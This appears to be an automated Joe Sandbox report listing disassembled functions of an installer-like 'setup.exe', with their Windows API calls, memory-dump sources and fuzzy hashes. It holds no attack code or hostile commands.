Uniqueness Score: -1.00%

Function 00405F82 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c94337aa44be19872a05e7fe324c1f72408cb83bc4afcb37e89916e28dd5cdb7
Instruction ID: 3ccfc7c80e99de65fa6db0e0edc8679980b1d0ea62cd2807200041591328ae3c
Opcode Fuzzy Hash: c94337aa44be19872a05e7fe324c1f72408cb83bc4afcb37e89916e28dd5cdb7
Instruction Fuzzy Hash: D98187B1D00229CBDF24CFA8C8447AEBBB1FB44305F11816AD856BB2C1C7785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 004063D0 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 040a7e0d789931a885e98904e34fb369bef72c7c312577bd0d6f252efd828c84
Instruction ID: 235c9a1f152390887c8e3346b3cf8cf745e7d176c25095dba4735a56a8f4339d
Opcode Fuzzy Hash: 040a7e0d789931a885e98904e34fb369bef72c7c312577bd0d6f252efd828c84
Instruction Fuzzy Hash: 80714371D00229CBDF28CFA8C8447ADBBF1FB48305F15806AD846BB281D7395A96DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004064EE Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55b1e8378e3b2d282ecc9e99db2cbf184c75cfe722202a43e2005f386b139382
Instruction ID: 067b91939e33353516387f96afd3df60e22fb0a2a23546be1218d687de4ca84d
Opcode Fuzzy Hash: 55b1e8378e3b2d282ecc9e99db2cbf184c75cfe722202a43e2005f386b139382
Instruction Fuzzy Hash: 14715371E00229CFEF28CF98C844BADBBB1FB44305F15816AD816BB281C7799996DF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040643A Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c10b0ec6d8a1716373c4594016b158d4b4e2bf5790cbb1f15a9d43b973b4a336
Instruction ID: fa01dbb36adddbb747bc37ce8d7c8691094d52a97b4972d7f98645f49a39bfe1
Opcode Fuzzy Hash: c10b0ec6d8a1716373c4594016b158d4b4e2bf5790cbb1f15a9d43b973b4a336
Instruction Fuzzy Hash: B3715671D00229CBEF28CF98C844BADBBB1FF44305F11816AD856BB281C7795A56DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00401E1B Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FC0

Part of subcall function 004053C6: SearchPathW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004224A8,Error launching installer), ref: 004053EB
Part of subcall function 004053C6: CloseHandle.KERNEL32(?), ref: 004053F8

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E55
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E65
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401E8A

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$CloseHandlelstrlen$CodeExitObjectPathProcessSearchSingleTextWaitWindowlstrcat
String ID:
API String ID: 1862049350-0
Opcode ID: 1fdde52640a539061ac3941da348919b66d20a0eed5ed07477821aeb51be007f
Instruction ID: 355628b0c836e6669011c6779fae97b23835f6d082b04fdd633ca662238f37b1
Opcode Fuzzy Hash: 1fdde52640a539061ac3941da348919b66d20a0eed5ed07477821aeb51be007f
Instruction Fuzzy Hash: 19019271D04215EBCF11AF91CD8599E7A75EB40358F20403BFA05B51E1C3794A82DBDE

Uniqueness

Uniqueness Score: -1.00%

Function 00402427 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B00: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B28

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402455
RegEnumValueA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 00402468
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nskDC2.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040247D

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 7ee753624dbf1d18677495706af09138f056117853e35c5539aac98112ad9ba3
Instruction ID: ca0bea074700aed3f6d5cd19b6a76ded14fd7da9354d4d4a85815760a07b6232
Opcode Fuzzy Hash: 7ee753624dbf1d18677495706af09138f056117853e35c5539aac98112ad9ba3
Instruction Fuzzy Hash: 31F0A271A04201EFE715AF659E88EBB7A6CDB40398F10443FF406A61C0D6B85D42967A

Uniqueness

Uniqueness Score: -1.00%

Function 00402506 Relevance: 3.1, APIs: 2, Instructions: 79fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,00000001,?,?,?,00000002), ref: 00402552

Part of subcall function 00405AC4: wsprintfA.USER32 ref: 00405AD1

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: FileReadwsprintf
String ID:
API String ID: 3326442220-0
Opcode ID: f09489efe15c3b80ce99059f114ac931b0952256192e953ec66e22e0d2490737
Instruction ID: 6cc84ed2bafa7cfa1e138a8cf3ad7e95c15831b5a897215fce06e49f2d1c7330
Opcode Fuzzy Hash: f09489efe15c3b80ce99059f114ac931b0952256192e953ec66e22e0d2490737
Instruction Fuzzy Hash: 6821F870D05259BFCF219F648E595EEBBB49B01304F14817BE881B63D2D1BC8A81C72D

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7b8e9ba5108b55dad21e1cb19ef7846daac3b048e1c883625bc8c045044f289d
Instruction ID: b71ad761f0ea07ecc4e6183a90c0cd8288537aab3e92bb5761005deb6e4a9b1f
Opcode Fuzzy Hash: 7b8e9ba5108b55dad21e1cb19ef7846daac3b048e1c883625bc8c045044f289d
Instruction Fuzzy Hash: 20014431B24210ABE7291B388D08B2A32ADE714315F10423FF801F32F0D678DC028B4C

Uniqueness

Uniqueness Score: -1.00%

Function 0040583D Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000003,00402CB5,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe,80000000,00000003), ref: 00405841
CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405863

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6d56aff3fab625e069b8f0f4beb3d6c68df7a2746e2dd21b0a72e0224e52029a
Instruction ID: 90a47e22fdd321f70bf06df01bfdefa11f3e73682391c7296034eb3a8fe04f39
Opcode Fuzzy Hash: 6d56aff3fab625e069b8f0f4beb3d6c68df7a2746e2dd21b0a72e0224e52029a
Instruction Fuzzy Hash: 8CD09E31658301AFEF098F20DD1AF2E7AA2EB84B00F10562CB646940E0D6715815DB16

Uniqueness

Uniqueness Score: -1.00%

Function 0040581E Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00405629,?,?,?), ref: 00405822
SetFileAttributesA.KERNEL32(?,00000000), ref: 00405834

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction ID: 89544605ef234ac14ed66c3b065a2d642d1346908a696065e0ba681aeed38476
Opcode Fuzzy Hash: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction Fuzzy Hash: F8C04CB1808501ABD7056B24EF0D81F7B66EF50325B108B35F5A9E00F0C7355C66DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402B00 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B28

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: b5dfad00fa1cd151fd60990f5b06a3c2bada7c6ed29f77274f64d0dacc55a64b
Instruction ID: c0cb2249de0b0b7c7cf81be38287cf815beb59390f5746c35b3b1e544e0707b9
Opcode Fuzzy Hash: b5dfad00fa1cd151fd60990f5b06a3c2bada7c6ed29f77274f64d0dacc55a64b
Instruction Fuzzy Hash: BFE08676640108BFDB50DFA4ED4BFD637ECB704340F008421B608D7091C678F5409B68

Uniqueness

Uniqueness Score: -1.00%

Function 004031BF Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00409130,00000000,00000000,00000000,00413040,0040B040,004030C4,00413040,00004000,?,00000000,?,00402F4E,00000004,00000000,00000000), ref: 004031D6

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction ID: 4c5c04567c480c11bae84e94003d2882b37cb3083c3cc1db03504fe221b835f3
Opcode Fuzzy Hash: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction Fuzzy Hash: DAE08631500119BBCF215E619C00A973B5CEB09362F008033FA04E9190D532DB109BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00403F18 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetDlgItemTextA.USER32(?,?,00000000), ref: 00403F32

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: ItemText
String ID:
API String ID: 3367045223-0
Opcode ID: 3e813572aabfc24dd457d3397d8ae2cb884b5dfcfb659632984281e934c33c5c
Instruction ID: 32956ba5a052c000d200729fffd4f2c944d874cb1110b62223aa4bdd109d9e57
Opcode Fuzzy Hash: 3e813572aabfc24dd457d3397d8ae2cb884b5dfcfb659632984281e934c33c5c
Instruction Fuzzy Hash: E4C08C31048200BFD241AB04CC42F1FB3A8EFA0327F00C92EB05CE00D2C634D420CE2A

Uniqueness

Uniqueness Score: -1.00%

Function 00403F64 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(000204C8,00000000,00000000,00000000), ref: 00403F76

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 74a19277012f6d931596f598d2f6ffa2ec736fc7041dbb57cfa43a045af561dc
Instruction ID: 4934297729c285da13a483c37f1bad53b44c21571947472378d90217470b6476
Opcode Fuzzy Hash: 74a19277012f6d931596f598d2f6ffa2ec736fc7041dbb57cfa43a045af561dc
Instruction Fuzzy Hash: 6CC04C71B442017AEA209F619D45F177B68A754701F5444657204A51D0C674E510D61D

Uniqueness

Uniqueness Score: -1.00%

Function 00403F4D Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00403D7E), ref: 00403F5B

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5380ca26047a56ac044db27ec5452a3d407db4c462228856e9187df95d64c5b6
Instruction ID: 0662716cb4741bc9db58cdf5bc89cb1196afa115b106f7c4ea820954fb206898
Opcode Fuzzy Hash: 5380ca26047a56ac044db27ec5452a3d407db4c462228856e9187df95d64c5b6
Instruction Fuzzy Hash: 17B09276685201BADA215B10DE09F457E62E764702F018064B204240B0C6B200A5DB09

Uniqueness

Uniqueness Score: -1.00%

Function 004031F1 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00402E9D,0000B5E4), ref: 004031FF

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction ID: eafd0aff1283cdec3023edec91852d87283cefa69c9b21bce59c6677f93a42a7
Opcode Fuzzy Hash: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction Fuzzy Hash: 14B01271644200BFDB214F00DF06F057B21A790701F108030B344380F082712420EB1E

Uniqueness

Uniqueness Score: -1.00%

Function 00403F3A Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403D17), ref: 00403F44

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 315e157356e8942ef3b8d7e2082c61631171d9164c942d8812de0ab912510814
Instruction ID: 218003202f2b1835e3bff4e9bf146b8b4f872d9b8cc4e3003fd48478f7f9154f
Opcode Fuzzy Hash: 315e157356e8942ef3b8d7e2082c61631171d9164c942d8812de0ab912510814
Instruction Fuzzy Hash: 09A002755051049BCA519B54DE048057A62A754701741C479B24551575C7315461EB6E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404853 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 478windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 0040486A
GetDlgItem.USER32(?,00000408), ref: 00404877
GlobalAlloc.KERNEL32(00000040,00000001), ref: 004048C3
LoadBitmapA.USER32(0000006E), ref: 004048D6
SetWindowLongA.USER32(?,000000FC,00404E54), ref: 004048F0
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404904
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404918
SendMessageA.USER32(?,00001109,00000002), ref: 0040492D
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404939
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 0040494B
DeleteObject.GDI32(?), ref: 00404950
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 0040497B
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404987
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A1C
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404A47
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A5B
GetWindowLongA.USER32(?,000000F0), ref: 00404A8A
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404A98
ShowWindow.USER32(?,00000005), ref: 00404AA9
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404BAC
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404C11
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404C26
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404C4A
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404C70
ImageList_Destroy.COMCTL32(?), ref: 00404C85
GlobalFree.KERNEL32(?), ref: 00404C95
